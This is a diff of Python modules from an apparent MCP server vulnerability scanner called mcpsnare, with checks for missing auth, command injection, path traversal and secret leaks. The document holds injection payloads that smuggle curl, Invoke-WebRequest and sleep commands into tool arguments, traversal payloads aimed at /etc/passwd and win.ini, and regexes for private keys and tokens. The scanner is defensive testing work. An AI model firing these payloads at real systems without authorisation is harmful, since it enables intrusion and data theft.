|
+
)
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def _normalize(s: str) -> str:
|
|
18
|
+
return _VOLATILE.sub("", s or "").strip()
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
@register
|
|
22
|
+
class AuthBypass:
|
|
23
|
+
id = "auth_bypass"
|
|
24
|
+
def generate(self, point, ctx):
|
|
25
|
+
if ctx.transport != "http" or ctx.call_tool_unauth is None:
|
|
26
|
+
return []
|
|
27
|
+
return [Probe(check=self.id, point=point, payload="<no auth header>",
|
|
28
|
+
args=dict(point.base_args), meta={"needs_unauth": True})]
|
|
29
|
+
def evaluate(self, probe, response, ctx):
|
|
30
|
+
unauth = probe.meta.get("unauth_response")
|
|
31
|
+
if not unauth:
|
|
32
|
+
return None
|
|
33
|
+
if unauth == response:
|
|
34
|
+
# Raw byte-identical: a clear, directly-observed bypass.
|
|
35
|
+
return self._finding(probe, Confidence.CONFIRMED,
|
|
36
|
+
"tool callable without auth header (identical response)")
|
|
37
|
+
nu, nr = _normalize(unauth), _normalize(response)
|
|
38
|
+
if nu and nu == nr:
|
|
39
|
+
# Match only after stripping volatile fields: strong but inferred -> FIRM.
|
|
40
|
+
return self._finding(probe, Confidence.FIRM,
|
|
41
|
+
"tool callable without auth header (responses match modulo volatile fields)")
|
|
42
|
+
return None
|
|
43
|
+
def _finding(self, probe, conf, evidence):
|
|
44
|
+
return Finding(check=self.id, tool=probe.point.tool, param="-",
|
|
45
|
+
severity=Severity.HIGH, confidence=conf, cwe="CWE-306",
|
|
46
|
+
title=f"Missing authentication on {probe.point.tool}",
|
|
47
|
+
payload=probe.payload, evidence=evidence,
|
|
48
|
+
remediation="Enforce auth on the HTTP transport for all sensitive tools.")
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
from dataclasses import dataclass
|
|
2
|
+
from typing import Callable, Protocol
|
|
3
|
+
from mcpsnare.models import InjectionPoint, Probe, Finding, ToolBaseline
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
@dataclass
|
|
7
|
+
class CheckContext:
|
|
8
|
+
oob: object | None
|
|
9
|
+
transport: str
|
|
10
|
+
call_tool: Callable[[str, dict], str] | None = None
|
|
11
|
+
call_tool_unauth: Callable[[str, dict], str] | None = None
|
|
12
|
+
baseline: ToolBaseline | None = None
|
|
13
|
+
aggressive: bool = False
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class Check(Protocol):
|
|
17
|
+
id: str
|
|
18
|
+
def generate(self, point: InjectionPoint, ctx: "CheckContext") -> list[Probe]: ...
|
|
19
|
+
def evaluate(self, probe: Probe, response: str, ctx: "CheckContext") -> Finding | None: ...
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
REGISTRY: dict[str, "Check"] = {}
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def register(cls):
|
|
26
|
+
REGISTRY[cls.id] = cls()
|
|
27
|
+
return cls
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
from mcpsnare.models import Probe, Finding, Severity, Confidence
|
|
2
|
+
from mcpsnare.checks.base import register
|
|
3
|
+
|
|
4
|
+
_SLEEP_SECONDS = 5
|
|
5
|
+
_LATENCY_MULT = 3
|
|
6
|
+
|
|
7
|
+
# OOB confirmation payloads: each triggers an outbound request to {url}. Covers POSIX
|
|
8
|
+
# sh, Windows cmd.exe, and PowerShell, deduped. Non-blocking (always sent).
|
|
9
|
+
_OOB_TEMPLATES = (
|
|
10
|
+
"; curl {url}", # POSIX
|
|
11
|
+
"$(curl {url})", # POSIX command substitution
|
|
12
|
+
"& curl {url}", # cmd.exe / POSIX background
|
|
13
|
+
"| curl {url}", # cmd.exe / POSIX pipe
|
|
14
|
+
"; iwr {url}", # PowerShell (Invoke-WebRequest)
|
|
15
|
+
"; curl.exe {url}", # PowerShell (real curl, not the iwr alias)
|
|
16
|
+
)
|
|
17
|
+
|
|
18
|
+
# Blocking time-based payloads (~_SLEEP_SECONDS delay), sent only with --aggressive.
|
|
19
|
+
_SLEEP_TEMPLATES = (
|
|
20
|
+
"; sleep {n}", # POSIX
|
|
21
|
+
"$(sleep {n})", # POSIX command substitution
|
|
22
|
+
"& ping -n {n1} 127.0.0.1", # cmd.exe (no sleep builtin; ping ~1s/echo)
|
|
23
|
+
"; Start-Sleep -s {n}", # PowerShell
|
|
24
|
+
)
|
|
25
|
+
|
|
26
|
+
@register
|
|
27
|
+
class CmdInjection:
|
|
28
|
+
id = "cmd_injection"
|
|
29
|
+
def generate(self, point, ctx):
|
|
30
|
+
probes = []
|
|
31
|
+
if ctx.oob is not None:
|
|
32
|
+
for tpl in _OOB_TEMPLATES:
|
|
33
|
+
token, url = ctx.oob.new_token()
|
|
34
|
+
cmd = tpl.format(url=url) # separator+command, e.g. "; curl <url>"
|
|
35
|
+
whole_args = point.set(f"mcpsnare{cmd}")
|
|
36
|
+
embed_args = point.embed(cmd) # valid-value prefix + cmd
|
|
37
|
+
variants = [whole_args]
|
|
38
|
+
if embed_args != whole_args:
|
|
39
|
+
variants.append(embed_args)
|
|
40
|
+
for args in variants:
|
|
41
|
+
from mcpsnare.inject.jsonpath import deep_get
|
|
42
|
+
payload = deep_get(args, point.json_path)
|
|
43
|
+
probes.append(Probe(check=self.id, point=point, payload=str(payload),
|
|
44
|
+
args=args, token=token))
|
|
45
|
+
if getattr(ctx, "aggressive", False):
|
|
46
|
+
for tpl in _SLEEP_TEMPLATES:
|
|
47
|
+
pl = f"mcpsnare{tpl.format(n=_SLEEP_SECONDS, n1=_SLEEP_SECONDS + 1)}"
|
|
48
|
+
probes.append(Probe(check=self.id, point=point, payload=pl, args=point.set(pl),
|
|
49
|
+
meta={"time_based": True, "threshold": _SLEEP_SECONDS}))
|
|
50
|
+
return probes
|
|
51
|
+
def evaluate(self, probe, response, ctx):
|
|
52
|
+
if probe.token and ctx.oob and ctx.oob.interactions(probe.token):
|
|
53
|
+
return self._finding(probe, Confidence.CONFIRMED,
|
|
54
|
+
f"OOB callback received for payload {probe.payload!r}")
|
|
55
|
+
if probe.meta.get("time_based"):
|
|
56
|
+
elapsed = probe.meta.get("elapsed", 0)
|
|
57
|
+
sleep_s = probe.meta["threshold"]
|
|
58
|
+
baseline = getattr(ctx, "baseline", None)
|
|
59
|
+
if baseline is not None:
|
|
60
|
+
margin = max(baseline.latency + sleep_s * 0.8, baseline.latency * _LATENCY_MULT)
|
|
61
|
+
evidence = f"response delayed {elapsed:.1f}s vs baseline {baseline.latency:.1f}s"
|
|
62
|
+
else:
|
|
63
|
+
margin = sleep_s # no calibration: fall back to the fixed threshold
|
|
64
|
+
evidence = f"response delayed {elapsed:.1f}s"
|
|
65
|
+
if elapsed >= margin:
|
|
66
|
+
return self._finding(probe, Confidence.FIRM, evidence)
|
|
67
|
+
return None
|
|
68
|
+
def _finding(self, probe, conf, evidence):
|
|
69
|
+
return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
|
|
70
|
+
severity=Severity.CRITICAL, confidence=conf, cwe="CWE-78",
|
|
71
|
+
title=f"Command injection in {probe.point.tool}.{probe.point.param_name}",
|
|
72
|
+
payload=probe.payload, evidence=evidence,
|
|
73
|
+
remediation="Never pass tool input to a shell; use exec with arg arrays / allowlists.")
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import re
|
|
2
|
+
from mcpsnare.models import Probe, Finding, Severity, Confidence
|
|
3
|
+
from mcpsnare.checks.base import register
|
|
4
|
+
|
|
5
|
+
_MARKERS = [re.compile(p) for p in [
|
|
6
|
+
r"-----BEGIN [A-Z ]*PRIVATE KEY-----", r"AKIA[0-9A-Z]{16}",
|
|
7
|
+
r"(?i)api[_-]?key\s*[=:]\s*\S+", r"(?i)secret\s*[=:]\s*\S+",
|
|
8
|
+
r"xox[baprs]-[0-9A-Za-z-]+", r"eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\."]]
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
@register
|
|
12
|
+
class InfoLeak:
|
|
13
|
+
id = "info_leak"
|
|
14
|
+
def generate(self, point, ctx):
|
|
15
|
+
return [Probe(check=self.id, point=point, payload="mcpsnare-probe",
|
|
16
|
+
args=point.set("mcpsnare-probe"))]
|
|
17
|
+
def evaluate(self, probe, response, ctx):
|
|
18
|
+
hits = [m.pattern for m in _MARKERS if m.search(response or "")]
|
|
19
|
+
if not hits:
|
|
20
|
+
return None
|
|
21
|
+
baseline = getattr(ctx, "baseline", None)
|
|
22
|
+
if baseline is not None:
|
|
23
|
+
# Diff by which PATTERN matched, not the matched substring: this favors FP
|
|
24
|
+
# elimination (a docs tool with a fixed example key is suppressed). Known
|
|
25
|
+
# trade-off (disclosed in docs/claims-matrix.md): a baseline placeholder and
|
|
26
|
+
# a real leak of the SAME shape both match one pattern, so such a leak is missed.
|
|
27
|
+
base_hits = {m.pattern for m in _MARKERS if m.search(baseline.response or "")}
|
|
28
|
+
triggered = [h for h in hits if h not in base_hits]
|
|
29
|
+
if not triggered:
|
|
30
|
+
return None # secrets also present in benign baseline = normal output, not a leak
|
|
31
|
+
return self._finding(probe, Confidence.FIRM,
|
|
32
|
+
f"secret-shaped match triggered by input (absent in baseline): {triggered}")
|
|
33
|
+
if len(hits) >= 2:
|
|
34
|
+
return self._finding(probe, Confidence.TENTATIVE,
|
|
35
|
+
f"secret-shaped pattern match (no baseline to diff): {hits}")
|
|
36
|
+
return None
|
|
37
|
+
|
|
38
|
+
def _finding(self, probe, conf, evidence):
|
|
39
|
+
return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
|
|
40
|
+
severity=Severity.HIGH, confidence=conf, cwe="CWE-200",
|
|
41
|
+
title=f"Secret/info leak via {probe.point.tool}",
|
|
42
|
+
payload=probe.payload, evidence=evidence,
|
|
43
|
+
remediation="Never return secrets/credentials in tool output or errors.")
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
import re
|
|
2
|
+
from mcpsnare.models import Probe, Finding, Severity, Confidence
|
|
3
|
+
from mcpsnare.checks.base import register
|
|
4
|
+
|
|
5
|
+
_PAYLOADS = ["../../../../../../etc/passwd",
|
|
6
|
+
"..\\..\\..\\..\\..\\..\\windows\\win.ini"]
|
|
7
|
+
_CANARY = re.compile(r"root:x:0:0:|\[fonts\]", re.IGNORECASE)
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
@register
|
|
11
|
+
class PathTraversal:
|
|
12
|
+
id = "path_traversal"
|
|
13
|
+
def generate(self, point, ctx):
|
|
14
|
+
out = []
|
|
15
|
+
for pl in _PAYLOADS:
|
|
16
|
+
out.append(Probe(check=self.id, point=point, payload=pl, args=point.set(pl)))
|
|
17
|
+
return out
|
|
18
|
+
def evaluate(self, probe, response, ctx):
|
|
19
|
+
if _CANARY.search(response or ""):
|
|
20
|
+
return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
|
|
21
|
+
severity=Severity.HIGH, confidence=Confidence.CONFIRMED, cwe="CWE-22",
|
|
22
|
+
title=f"Path traversal in {probe.point.tool}.{probe.point.param_name}",
|
|
23
|
+
payload=probe.payload, evidence=(response or "")[:200],
|
|
24
|
+
remediation="Resolve and contain paths within an allowed base dir.")
|
|
25
|
+
return None
|